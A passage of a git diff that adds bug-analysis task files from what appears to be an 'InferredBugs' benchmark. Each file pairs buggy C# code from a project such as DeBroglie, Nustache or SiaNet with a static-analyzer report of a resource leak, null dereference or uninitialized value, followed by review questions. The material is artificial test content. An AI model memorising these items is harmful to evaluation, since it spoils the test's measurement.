+        IReadOnlyList<IBinderFile> IBinder.Files => Files;
+
+        private string bhdTimestamp;
+        /// <summary>
+        /// A timestamp of unknown purpose.
+        /// </summary>
+        public string BHDTimestamp
+        {
+            get { return bhdTimestamp; }
+            set
+            {
+                if (value.Length > 8)
+                    throw new ArgumentException("Timestamp may not be longer than 8 characters.");
+                bhdTimestamp = value;
+            }
+        }
+
+        private string bdtTimestamp;
+        /// <summary>
+        /// A timestamp of unknown purpose.
+        /// </summary>
+        public string BDTTimestamp
+        {
+            get { return bdtTimestamp; }
+            set
+            {
+                if (value.Length > 8)
+                    throw new ArgumentException("Timestamp may not be longer than 8 characters.");
+                bdtTimestamp = value;
+            }
+        }
+
+        /// <summary>
+        /// Indicates the format of this BXF3.
+        /// </summary>
+        public byte Format;
+
+        /// <summary>
+        /// Creates an empty BXF3 formatted for DS1.
+        /// </summary>
+        public BXF3()
+        {
+            Files = new List<File>();
+            BHDTimestamp = Util.UnparseBNDTimestamp(DateTime.Now);
+            BDTTimestamp = Util.UnparseBNDTimestamp(DateTime.Now);
+            Format = 0x74;
+        }
+
+        private static bool IsBHD(BinaryReaderEx br)
+        {
+            string magic = br.GetASCII(0, 4);
+            return magic == "BHF3";
+        }
+
+        private static bool IsBDT(BinaryReaderEx br)
+        {
+            string magic = br.GetASCII(0, 4);
+            return magic == "BDF3";
+        }
+
+        private BXF3(BinaryReaderEx bhdReader, BinaryReaderEx bdtReader)
+        {
+            BHD3 bhd = new BHD3(bhdReader);
+            BHDTimestamp = bhd.Timestamp;
+            Format = bhd.Format;
+
+            bdtReader.AssertASCII("BDF3");
+            BDTTimestamp = bdtReader.ReadASCII(8).TrimEnd('\0');
+            bdtReader.AssertInt32(0);
+
+            Files = new List<File>(bhd.FileHeaders.Count);
+            for (int i = 0; i < bhd.FileHeaders.Count; i++)
+            {
+                BHD3.FileHeader fileHeader = bhd.FileHeaders[i];
+                byte[] data = bdtReader.GetBytes(fileHeader.Offset, fileHeader.Size);
+
+                Files.Add(new File(fileHeader.ID, fileHeader.Name, data));
+            }
+        }
+
+        private void Write(BinaryWriterEx bhdWriter, BinaryWriterEx bdtWriter)
+        {
+            bhdWriter.WriteASCII("BHF3");
+            bhdWriter.WriteASCII(BHDTimestamp.PadRight(8, '\0'));
+            bhdWriter.WriteByte(Format);
+            bhdWriter.WriteByte(0);
+            bhdWriter.WriteByte(0);
+            bhdWriter.WriteByte(0);
+            bhdWriter.BigEndian = Format == 0xE0;
+
+            bhdWriter.WriteInt32(Files.Count);
+            bhdWriter.WriteInt32(0);
+            bhdWriter.WriteInt32(0);
+            bhdWriter.WriteInt32(0);
+
+            bdtWriter.WriteASCII("BDF3");
+            bdtWriter.WriteASCII(BDTTimestamp.PadRight(8, '\0'));
+            bdtWriter.WriteInt32(0);
+
+            for (int i = 0; i < Files.Count; i++)
+            {
+                File file = Files[i];
+                bhdWriter.WriteByte(0x40);
+                bhdWriter.WriteByte(0);
+                bhdWriter.WriteByte(0);
+                bhdWriter.WriteByte(0);
+
+                bhdWriter.WriteInt32(file.Bytes.Length);
+                bhdWriter.WriteInt32((int)bdtWriter.Position);
+                bhdWriter.WriteInt32(i);
+                bhdWriter.ReserveInt32($"FileName{i}");
+
+                if (Format == 0x54 || Format == 0x74)
+                    bhdWriter.WriteInt32(file.Bytes.Length);
+
+                bdtWriter.WriteBytes(file.Bytes);
+                bdtWriter.Pad(0x10);
+            }
+
+            for (int i = 0; i < Files.Count; i++)
+            {
+                File file = Files[i];
+                bhdWriter.FillInt32($"FileName{i}", (int)bhdWriter.Position);
+                bhdWriter.WriteShiftJIS(file.Name, true);
+            }
+        }
+
+        private class BHD3
+        {
+            public string Timestamp;
+            public List<FileHeader> FileHeaders;
+            public byte Format;
+
+            public BHD3(BinaryReaderEx br)
+            {
+                br.AssertASCII("BHF3");
+                Timestamp = br.ReadASCII(8).TrimEnd('\0');
+                Format = br.AssertByte(0x54, 0x74, 0xE0);
+                br.AssertByte(0);
+                br.AssertByte(0);
+                br.AssertByte(0);
+                br.BigEndian = Format == 0xE0;
+
+                int fileCount = br.ReadInt32();
+                br.AssertInt32(0);
+                br.AssertInt32(0);
+                br.AssertInt32(0);
+
+                FileHeaders = new List<FileHeader>(fileCount);
+                for (int i = 0; i < fileCount; i++)
+                {
+                    FileHeaders.Add(new FileHeader(br, Format));
+                }
+            }
+
+            public class FileHeader
+            {
+                public int ID;
+                public string Name;
+                public int Offset;
+                public int Size;
+
+                public FileHeader(BinaryReaderEx br, byte format)
+                {
+                    br.AssertByte(0x40);
+                    br.AssertByte(0);
+                    br.AssertByte(0);
+                    br.AssertByte(0);
+
+                    Size = br.ReadInt32();
+                    Offset = br.ReadInt32();
+                    ID = br.ReadInt32();
+                    int fileNameOffset = br.ReadInt32();
+
+                    // Change this if BND internal compression ever shows up in a BXF.
+                    if (format == 0x54 || format == 0x74)
+                        br.ReadInt32();
+
+                    Name = br.GetShiftJIS(fileNameOffset);
+                }
+            }
+        }
+
+        /// <summary>
+        /// A generic file in a BXF3 container.
+        /// </summary>
+        public class File : IBinderFile
+        {
+            /// <summary>
+            /// The ID of this file, typically just its index in the file collection.
+            /// </summary>
+            public int ID { get; set; }
+
+            /// <summary>
+            /// The name of the file, typically a virtual path.
+            /// </summary>
+            public string Name { get; set; }
+
+            /// <summary>
+            /// The raw data of the file.
+            /// </summary>
+            public byte[] Bytes { get; set; }
+
+            /// <summary>
+            /// Create a new File with the specified information.
+            /// </summary>
+            public File(int id, string name, byte[] bytes)
+            {
+                ID = id;
+                Name = name;
+                Bytes = bytes;
+            }
+        }
+    }
+}
+
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource br.SoulsFormats.BinaryReaderEx.br of type System.IO.BinaryReader, Leaked resource (returned from SoulsFormats.BinaryReaderEx SoulsFormats.Util::GetDecompressedBR(SoulsFormats.BinaryReaderEx,SoulsFormats.DCX$Type&) at Line 40).SoulsFormats.BinaryReaderEx.br of type System.IO.BinaryReader in method "Boolean BXF3.IsBDT(Byte[])".
+
+### Severity:
+ERROR
+
+### Procedure:
+Boolean BXF3.IsBDT(Byte[])
+
+### File:
+SoulsFormats/Formats/BXF3.cs
+
+### Key:
+BXF3.cs|IsBDT|DOTNET_RESOURCE_LEAK
+
+### Hash:
+c3fa767f0ce7cef83d179d700cd19146
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-2430/instruction.md b/inferredbugs-2430/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..37de2389c6c36c30cbf1aaca13fe5b4997fc894c
--- /dev/null
+++ b/inferredbugs-2430/instruction.md
@@ -0,0 +1,269 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** DeBroglie
+**Bug ID:** 12
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using DeBroglie.Constraints;
+using DeBroglie.Models;
+using DeBroglie.Topo;
+using NUnit.Framework;
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+
+namespace DeBroglie.Test.Constraints
+{
+    [TestFixture]
+    class EdgedPathConstraintTest
+    {
+
+        // Test cloned from PathConstraintTest
+        // EdgedPath should behave identically if set up correctly.
+        [Test]
+        public void TestEdgedPathConstraint()
+        {
+            var a = new int[,]{
+                 {0, 0, 0, 1, 0, 0},
+                 {0, 0, 0, 1, 0, 0},
+                 {0, 0, 0, 1, 0, 0},
+                 {1, 1, 1, 1, 0, 0},
+                 {0, 0, 0, 0, 0, 0},
+                 {0, 0, 0, 0, 0, 0}
+            };
+
+            var allDirections = DirectionSet.Cartesian2d.ToHashSet();
+
+            var exits = new Dictionary<Tile, ISet<Direction>>()
+            {
+                { new Tile(1), allDirections },
+            };
+
+            var seed = Environment.TickCount;
+            var r = new Random(seed);
+            Console.WriteLine("Seed {0}", seed);
+
+            var model = OverlappingModel.Create(a, 3, false, 8);
+            var propagator = new TilePropagator(model, new GridTopology(10, 10, false), new TilePropagatorOptions
+            {
+                BackTrackDepth = -1,
+                Constraints = new[] {
+                    new EdgedPathConstraint(exits, new []{new Point(0,0), new Point(9, 9) })
+                },
+                RandomDouble = r.NextDouble
+            });
+            var status = propagator.Run();
+            Assert.AreEqual(Resolution.Decided, status);
+            var result = propagator.ToValueArray<int>().ToArray2d();
+            // Write out result for debugging
+            for (var y = 0; y < 10; y++)
+            {
+                for (var x = 0; x < 10; x++)
+                {
+                    Console.Write(result[x, y]);
+                }
+                Console.WriteLine();
+            }
+            // Simple flood fill algorithm to determine we have in fact got a path
+            var stack = new Stack<ValueTuple<int, int>>();
+            var visited = new bool[10, 10];
+            stack.Push((0, 0));
+            while (stack.TryPop(out var current))
+            {
+                var (x, y) = current;
+                if (x < 0 || x >= 10 || y < 0 || y >= 10)
+                    continue;
+                if (visited[x, y])
+                    continue;
+                visited[x, y] = true;
+                if (result[x, y] == 1)
+                {
+                    if (x == 9 && y == 9)
+                        return;
+                    stack.Push((x + 1, y));
+                    stack.Push((x - 1, y));
+                    stack.Push((x, y + 1));
+                    stack.Push((x, y - 1));
+                }
+            }
+            Assert.Fail();
+        }
+
+        [Test]
+        public void TestPathPickHeuristic()
+        {
+            var topology = new GridTopology(15, 15, false);
+
+            var model = new AdjacentModel(DirectionSet.Cartesian2d);
+
+            var empty = new Tile(" ");
+            var straight1 = new Tile("║");
+            var straight2 = new Tile("═");
+            var corner1 = new Tile("╚");
+            var corner2 = new Tile("╔");
+            var corner3 = new Tile("╗");
+            var corner4 = new Tile("╝");
+            var fork1 = new Tile("╠");
+            var fork2 = new Tile("╦");
+            var fork3 = new Tile("╣");
+            var fork4 = new Tile("╩");
+
+            model.AddAdjacency(
+                new[] { empty, straight1, corner3, corner4, fork3 },
+                new[] { empty, straight1, corner1, corner2, fork1 },
+                Direction.XPlus);
+
+            model.AddAdjacency(
+                new[] { straight2, corner1, corner2, fork1, fork2, fork4 },
+                new[] { straight2, corner3, corner4, fork2, fork3, fork4 },
+                Direction.XPlus);
+
+            model.AddAdjacency(
+                new[] { empty, straight2, corner1, corner4, fork4 },
+                new[] { empty, straight2, corner2, corner3, fork2 },
+                Direction.YPlus);
+
+            model.AddAdjacency(
+                new[] { straight1, corner2, corner3, fork1, fork2, fork3 },
+                new[] { straight1, corner1, corner4, fork1, fork3, fork4 },
+                Direction.YPlus);
+
+            model.SetUniformFrequency();
+
+            var exits = new Dictionary<Tile, ISet<Direction>>
+            {
+                {straight1, new []{Direction.YMinus, Direction.YPlus}.ToHashSet() },
+                {straight2, new []{Direction.XMinus, Direction.XPlus}.ToHashSet() },
+                {corner1, new []{Direction.YMinus, Direction.XPlus}.ToHashSet() },
+                {corner2, new []{Direction.YPlus, Direction.XPlus}.ToHashSet() },
+                {corner3, new []{Direction.YPlus, Direction.XMinus}.ToHashSet() },
+                {corner4, new []{Direction.YMinus, Direction.XMinus}.ToHashSet() },
+                {fork1, new []{ Direction.YMinus, Direction.XPlus, Direction.YPlus}.ToHashSet() },
+                {fork2, new []{ Direction.XPlus, Direction.YPlus, Direction.XMinus}.ToHashSet() },
+                {fork3, new []{ Direction.YPlus, Direction.XMinus, Direction.YMinus}.ToHashSet() },
+                {fork4, new []{ Direction.XMinus, Direction.YMinus, Direction.XPlus}.ToHashSet() },
+            };
+
+            var pathConstraint = new EdgedPathConstraint(exits)
+            {
+                UsePickHeuristic = true
+            };
+
+            var propagator = new TilePropagator(model, topology, new TilePropagatorOptions
+            {
+                BackTrackDepth = -1,
+                Constraints = new[] { pathConstraint },
+            });
+
+            propagator.Run();
+
+            Assert.AreEqual(propagator.Status, Resolution.Decided);
+        }
+
+        [Test]
+        public void TestDirectionality()
+        {
+            var model = new AdjacentModel(DirectionSet.Cartesian2d);
+            model.AddAdjacency(new Tile(1), new Tile(2), 1, 0, 0);
+            model.SetUniformFrequency();
+
+            var topology = new GridTopology(2, 1, false);
+
+            var up = Direction.YPlus;
+            var down = Direction.YMinus;
+
+            var edgedPathConstraint = new EdgedPathConstraint(
+                new Dictionary<Tile, ISet<Direction>>()
+                {
+                   { new Tile(1), new[]{ up, down }.ToHashSet() },
+                   { new Tile(2), new[]{ up, down }.ToHashSet() },
+                }
+                );
+
+            var propagator = new TilePropagator(model, topology, constraints: new[] { edgedPathConstraint });
+
+            propagator.Run();
+
+            Assert.AreEqual(Resolution.Contradiction, propagator.Status);
+        }
+
+        [Test]
+        public void TestDirectionality2()
+        {
+            var model = new AdjacentModel(DirectionSet.Cartesian2d);
+            model.AddAdjacency(new Tile(1), new Tile(2), 1, 0, 0);
+            model.SetUniformFrequency();
+
+            var topology = new GridTopology(2, 1, false);
+
+            var left = Direction.XMinus;
+            var right = Direction.XPlus;
+
+            var edgedPathConstraint = new EdgedPathConstraint(
+                new Dictionary<Tile, ISet<Direction>>()
+                {
+                   { new Tile(1), new[]{ left, right }.ToHashSet() },
+                   { new Tile(2), new[]{ left, right }.ToHashSet() },
+                }
+                );
+
+            var propagator = new TilePropagator(model, topology, constraints: new[] { edgedPathConstraint });
+
+            propagator.Run();
+        }
+    }
+}
+
+```
+
+### Bug Type:
+PULSE_UNINITIALIZED_VALUE
+
+### Qualifier:
+`index` is read without initialization during the call to `TilePropagator.Run()`.
+
+### Severity:
+ERROR
+
+### Procedure:
+Void EdgedPathConstraintTest.TestDirectionality()
+
+### File:
+DeBroglie.Test/Constraints/EdgedPathConstraintTest.cs
+
+### Key:
+EdgedPathConstraintTest.cs|TestDirectionality|PULSE_UNINITIALIZED_VALUE
+
+### Hash:
+52cb640c2ca9412bc12e232a0ea92500
+
+### Bug Type Hum:
+Uninitialized Value
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-2437/instruction.md b/inferredbugs-2437/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..a6cc4fa46b280d06171eb691f95ffb69ebb27578
--- /dev/null
+++ b/inferredbugs-2437/instruction.md
@@ -0,0 +1,85 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** Nustache
+**Bug ID:** 1
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System.IO;
+using System.Web.Mvc;
+using Nustache.Core;
+
+namespace Nustache.Mvc
+{
+    public class NustacheView : IView
+    {
+        private readonly ControllerContext _controllerContext;
+        private readonly string _viewPath;
+
+        public NustacheView(ControllerContext controllerContext, string viewPath)
+        {
+            _controllerContext = controllerContext;
+            _viewPath = viewPath;
+        }
+
+        public void Render(ViewContext viewContext, TextWriter writer)
+        {
+            var templatePath = _controllerContext.HttpContext.Server.MapPath(_viewPath);
+            var templateSource = File.ReadAllText(templatePath);
+            var template = new Template();
+            template.Load(new StringReader(templateSource));
+            template.Render(viewContext.ViewData.Model ?? viewContext.ViewData, writer, null);
+        }
+    }
+}
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource (output of System.IO.StringReader::.ctor() at Line 23) of type System.IO.StringReader in method "Void NustacheView.Render(ViewContext,TextWriter)".
+
+### Severity:
+ERROR
+
+### Procedure:
+Void NustacheView.Render(ViewContext,TextWriter)
+
+### File:
+Nustache.Mvc3/NustacheView.cs
+
+### Key:
+NustacheView.cs|Render|DOTNET_RESOURCE_LEAK
+
+### Hash:
+7e828e20db8d8172a814307f02e72502
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-2439/instruction.md b/inferredbugs-2439/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..0c5fe20949c3584723b8b59b73be4499f32c7ab2
--- /dev/null
+++ b/inferredbugs-2439/instruction.md
@@ -0,0 +1,339 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** Nustache
+**Bug ID:** 3
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.Collections;
+using System.Collections.Generic;
+using System.Collections.ObjectModel;
+using System.ComponentModel;
+using System.Reflection;
+using System.Xml;
+
+namespace Nustache.Core
+{
+    public abstract class ValueGetterFactory
+    {
+        // jon_wingfield: this is still problematic for me. target will be null when compiling, which
+        // really is a POLA violation when you're coding for non-compiled templates.  Feedback/suggestions welcome.
+        /// <param name="target">Can be null if we're compiling.</param>
+        public abstract ValueGetter GetValueGetter(object target, Type targetType, string name);
+
+        protected const BindingFlags DefaultBindingFlags = BindingFlags.Public | BindingFlags.Instance | BindingFlags.IgnoreCase;
+        protected const StringComparison DefaultNameComparison = StringComparison.CurrentCultureIgnoreCase;
+    }
+
+    public class ValueGetterFactoryCollection : Collection<ValueGetterFactory>
+    {
+        protected override void InsertItem(int index, ValueGetterFactory item)
+        {
+            if (item == null)
+            {
+                throw new ArgumentNullException("item");
+            }
+
+            base.InsertItem(index, item);
+        }
+
+        protected override void SetItem(int index, ValueGetterFactory item)
+        {
+            if (item == null)
+            {
+                throw new ArgumentNullException("item");
+            }
+
+            base.SetItem(index, item);
+        }
+
+        public ValueGetter GetValueGetter(object target, string name)
+        {
+            return GetValueGetterOrDefault(Items, target, name) ?? new NoValueGetter();
+        }
+
+        public ValueGetter GetCompiledGetter(Type targetType, string name)
+        {
+            foreach (var factory in Items)
+            {
+                var getter = factory.GetValueGetter(null, targetType, name);
+                if (getter != null)
+                {
+                    return getter;
+                }
+            }
+
+            return null;
+        }
+        
+        private static ValueGetter GetValueGetterOrDefault(IEnumerable<ValueGetterFactory> factories, object target, string name)
+        {
+            foreach (var factory in factories)
+            {
+                var getter = factory.GetValueGetter(target, target.GetType(), name);
+                if (getter != null)
+                {
+                    return getter;
+                }
+            }
+
+            return null;
+        }
+    }
+
+    public static class ValueGetterFactories
+    {
+        private static readonly ValueGetterFactoryCollection _factories = new ValueGetterFactoryCollection
+        {
+            new XmlNodeValueGetterFactory(),
+            new PropertyDescriptorValueGetterFactory(),
+            new GenericDictionaryValueGetterFactory(),
+            new DictionaryValueGetterFactory(),
+            new MethodInfoValueGatterFactory(),
+            new PropertyInfoValueGetterFactory(),
+            new FieldInfoValueGetterFactory()
+        };
+
+        public static ValueGetterFactoryCollection Factories
+        {
+            get { return _factories; }
+        }
+    }
+
+    internal class XmlNodeValueGetterFactory : ValueGetterFactory
+    {
+        public override ValueGetter GetValueGetter(object target, Type targetType, string name)
+        {
+            if (target is XmlNode)
+            {
+                return new XmlNodeValueGetter((XmlNode)target, name);
+            }
+
+            return null;
+        }
+    }
+
+    internal class PropertyDescriptorValueGetterFactory : ValueGetterFactory
+    {
+        public override ValueGetter GetValueGetter(object target, Type targetType, string name)
+        {
+            if (target is ICustomTypeDescriptor)
+            {
+                var typeDescriptor = (ICustomTypeDescriptor)target;
+                PropertyDescriptorCollection properties = typeDescriptor.GetProperties();
+
+                foreach (PropertyDescriptor property in properties)
+                {
+                    if (String.Equals(property.Name, name, DefaultNameComparison))
+                    {
+                        return new PropertyDescriptorValueGetter(target, property);
+                    }
+                }
+            }
+
+            return null;
+        }
+    }
+
+    internal class MethodInfoValueGatterFactory : ValueGetterFactory
+    {
+        public override ValueGetter GetValueGetter(object target, Type targetType, string name)
+        {
+            MemberInfo[] methods = targetType.GetMember(name, MemberTypes.Method, DefaultBindingFlags);
+
+            foreach (MethodInfo method in methods)
+            {
+                if (MethodCanGetValue(method))
+                {
+                    return new MethodInfoValueGetter(target, method);
+                }
+            }
+
+            return null;
+        }
+
+        private static bool MethodCanGetValue(MethodInfo method)
+        {
+            return method.ReturnType != typeof(void) &&
+                   method.GetParameters().Length == 0;
+        }
+    }
+
+    internal class PropertyInfoValueGetterFactory : ValueGetterFactory
+    {
+        public override ValueGetter GetValueGetter(object target, Type targetType, string name)
+        {
+            PropertyInfo property = targetType.GetProperty(name, DefaultBindingFlags);
+
+            if (property != null && PropertyCanGetValue(property))
+            {
+                return new PropertyInfoValueGetter(target, property);
+            }
+
+            return null;
+        }
+
+        private static bool PropertyCanGetValue(PropertyInfo property)
+        {
+            return property.CanRead;
+        }
+    }
+
+    internal class FieldInfoValueGetterFactory : ValueGetterFactory
+    {
+        public override ValueGetter GetValueGetter(object target, Type targetType, string name)
+        {
+            FieldInfo field = targetType.GetField(name, DefaultBindingFlags);
+
+            if (field != null)
+            {
+                return new FieldInfoValueGetter(target, field);
+            }
+
+            return null;
+        }
+    }
+
+    internal class DictionaryValueGetterFactory : ValueGetterFactory
+    {
+        public override ValueGetter GetValueGetter(object target, Type targetType, string name)
+        {
+            if (target is IDictionary)
+            {
+                var dictionary = (IDictionary)target;
+
+                if (dictionary.Contains(name))
+                {
+                    return new DictionaryValueGetter(dictionary, name);
+                }
+            }
+
+            return null;
+        }
+    }
+
+    internal class GenericDictionaryValueGetterFactory : ValueGetterFactory
+    {
+        public override ValueGetter GetValueGetter(object target, Type targetType, string name)
+        {
+            Type dictionaryType = GetSupportedInterfaceType(targetType);
+
+            if (dictionaryType != null)
+            {
+                if (target == null)
+                {
+                    return new GenericDictionaryValueGetter(null, name, dictionaryType);
+                }
+                else 
+                {
+                    var containsKeyMethod = dictionaryType.GetMethod("ContainsKey");
+                    if ((bool)containsKeyMethod.Invoke(target, new object[] { name }))
+                    {
+                        return new GenericDictionaryValueGetter(target, name, dictionaryType);
+                    }
+                }
+            }
+
+            return null;
+        }
+
+        private static Type GetSupportedInterfaceType(Type targetType)
+        {
+            Predicate<Type> supportedInteface = interfaceType => interfaceType.IsGenericType &&
+                    interfaceType.GetGenericTypeDefinition() == typeof(IDictionary<,>) &&
+                    interfaceType.GetGenericArguments()[0] == typeof(string);
+
+            if (supportedInteface(targetType))
+            {
+                return targetType;
+            }
+            else
+            {
+                return Array.Find(targetType.GetInterfaces(), supportedInteface);
+            }
+        }
+    }
+
+    internal class ListValueByIndexGetterFactory : ValueGetterFactory
+    {
+        public override ValueGetter GetValueGetter(object target, Type targetType, string name)
+        {
+            //Both Lists and Arrays internally can be assigned to IList.
+            if (typeof(IList).IsAssignableFrom(targetType))
+            {
+                var listTarget = target as IList;
+                int arrayIndex;
+                bool parseSuccess = Int32.TryParse(name, out arrayIndex);
+
+                /* 
+                 * There is an index as per the success of the parse, it is not greater than the count 
+                 * (minus one since index is zero referenced) or less than zero.
+                 */ 
+                if(parseSuccess &&
+                   !(arrayIndex > (listTarget.Count - 1)) &&
+                   !(arrayIndex < 0))
+                {
+                    return new ListValueByIndexGetter(listTarget, arrayIndex);
+                }
+            }
+
+            return null;
+        }
+    }
+}
+
+```
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+pointer `listTarget` last assigned on line 258 could be null and is dereferenced at line 266, column 17.
+
+### Severity:
+ERROR
+
+### Procedure:
+ValueGetter ListValueByIndexGetterFactory.GetValueGetter(Object,Type,String)
+
+### File:
+Nustache.Core/ValueGetterFactory.cs
+
+### Key:
+ValueGetterFactory.cs|GetValueGetter|NULL_DEREFERENCE
+
+### Node Key:
+e7de489d59d2b3ae21f74a887f815641
+
+### Hash:
+a11ead4d4bdc9f52eed1c489f065c6a8
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-2452/instruction.md b/inferredbugs-2452/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..771945424da2372c482a393139331a345572572e
--- /dev/null
+++ b/inferredbugs-2452/instruction.md
@@ -0,0 +1,128 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** SiaNet
+**Bug ID:** 4
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.Collections.Generic;
+using System.Text;
+using TensorSharp;
+using System.Linq;
+
+namespace SiaNet
+{
+    public class ImgUtil
+    {
+        public static Tensor Im2Col(Tensor x, Tuple<uint, uint, uint> kernalSize, uint? padding = null, uint stride = 1)
+        {
+            if (padding.HasValue)
+            {
+                x = x.Pad(1, padding.Value);
+            }
+
+            var list = x.NDto2DList();
+            var cols = x.Transpose(1, 2, 3, 4, 0).Unfold(3, kernalSize.Item3, stride).Unfold(2, kernalSize.Item2, stride).Unfold(1, kernalSize.Item1, stride);
+
+            return cols;
+        }
+
+        public static Tensor Im2Col(Tensor x, Tuple<uint, uint> kernalSize, uint? padding=null, uint stride = 1)
+        {
+            var (n, c, h, w) = x.GetConv2DShape();
+            if (padding.HasValue)
+            {
+                x = x.Pad(1, padding.Value);
+            }
+
+            var cols = x.Transpose(0, 1, 2, 3).Unfold(2, kernalSize.Item2, stride).Unfold(3, kernalSize.Item1, stride);
+            var x_t = x.Transpose(1, 0, 2, 3);
+            x_t.Narrow(2, 0, 3).Narrow(3, 0, 3).Print();
+
+            return cols;
+        }
+
+        public static Tensor Im2Col(Tensor x, uint steps, uint? padding = null, uint stride = 1)
+        {
+
+            if (padding.HasValue)
+            {
+                x = x.Pad(1, padding.Value);
+            }
+
+            x.Print();
+
+            var cols = x.Transpose(2,1,0).Unfold(1, 1, stride).Unfold(0, 3, 1);
+
+            return cols;
+        }
+
+        public static Tensor Col2Im(Tensor cols, long[] x_shape, uint field_height, uint field_width, uint field_depth, uint? padding = null, uint stride = 1)
+        {
+            return cols;
+        }
+
+        public static Tensor Col2Im(Tensor cols, long[] x_shape, uint field_height, uint field_width, uint? padding = null, uint stride = 1)
+        {
+            return cols;
+        }
+
+        public static Tensor Col2Im(Tensor cols, long[] x_shape, uint field_height, uint? padding = null, uint stride = 1)
+        {
+            return cols;
+        }
+    }
+}
+
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource return of type TensorSharp.Tensor, Leaked resource (returned from TensorSharp.Tensor TensorSharp.Tensor::Unfold(System.Int32,System.Int64,System.Int64) at Line 19) of type TensorSharp.Tensor, Leaked resource (returned from TensorSharp.Tensor TensorSharp.Tensor::Unfold(System.Int32,System.Int64,System.Int64) at Line 19) of type TensorSharp.Tensor in method "Tensor ImgUtil.Im2Col(Tensor,Tuple`3<!0,!1,!2>,Nullable`1<!0>,UInt32)".
+
+### Severity:
+ERROR
+
+### Procedure:
+Tensor ImgUtil.Im2Col(Tensor,Tuple`3<!0,!1,!2>,Nullable`1<!0>,UInt32)
+
+### File:
+SiaNet/Utils/ImgUtil.cs
+
+### Key:
+ImgUtil.cs|Im2Col|DOTNET_RESOURCE_LEAK
+
+### Hash:
+c31f643ac96b991eb01a21231da5d821
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-2453/instruction.md b/inferredbugs-2453/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..69e552d4700813ec165c3f0c0da1395e395efbd6
--- /dev/null
+++ b/inferredbugs-2453/instruction.md
@@ -0,0 +1,687 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** SiaNet
+**Bug ID:** 15
